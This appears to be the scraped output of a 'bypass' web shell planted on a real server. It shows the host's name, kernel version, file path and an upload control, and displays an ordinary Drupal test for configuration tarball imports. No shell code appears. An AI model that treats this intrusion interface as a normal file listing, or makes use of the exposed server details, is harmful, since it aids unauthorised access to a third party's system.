Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/web/core/modules/config/tests/src/Functional/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/web/core/modules/config/tests/src/Functional/ConfigImportUploadTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\config\Functional;

use Drupal\Core\Site\Settings;
use Drupal\Tests\BrowserTestBase;
use Drupal\Tests\TestFileCreationTrait;

/**
 * Tests importing configuration from an uploaded file.
 *
 * @group config
 */
class ConfigImportUploadTest extends BrowserTestBase {

  use TestFileCreationTrait;

  /**
   * A user with the 'import configuration' permission.
   *
   * @var \Drupal\user\UserInterface
   */
  protected $webUser;

  /**
   * {@inheritdoc}
   */
  protected static $modules = ['config'];

  /**
   * {@inheritdoc}
   */
  protected $defaultTheme = 'stark';

  /**
   * {@inheritdoc}
   */
  protected function setUp(): void {
    parent::setUp();

    $this->webUser = $this->drupalCreateUser(['import configuration']);
    $this->drupalLogin($this->webUser);
  }

  /**
   * Tests importing configuration.
   */
  public function testImport(): void {
    // Verify access to the config upload form.
    $this->drupalGet('admin/config/development/configuration/full/import');
    $this->assertSession()->statusCodeEquals(200);

    // Attempt to upload a non-tar file.
    $text_file = $this->getTestFiles('text')[0];
    $edit = ['files[import_tarball]' => \Drupal::service('file_system')->realpath($text_file->uri)];
    $this->drupalGet('admin/config/development/configuration/full/import');
    $this->submitForm($edit, 'Upload');
    $this->assertSession()->pageTextContains('Could not extract the contents of the tar file');

    // Make the sync directory read-only.
    $directory = Settings::get('config_sync_directory');
    \Drupal::service('file_system')->chmod($directory, 0555);
    $this->drupalGet('admin/config/development/configuration/full/import');
    $this->assertSession()->pageTextContains("The directory $directory is not writable.");
    // Ensure submit button for \Drupal\config\Form\ConfigImportForm is
    // disabled.
    $submit_is_disabled = $this->cssSelect('form.config-import-form input[type="submit"]:disabled');
    $this->assertCount(1, $submit_is_disabled, 'The submit button is disabled.');
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net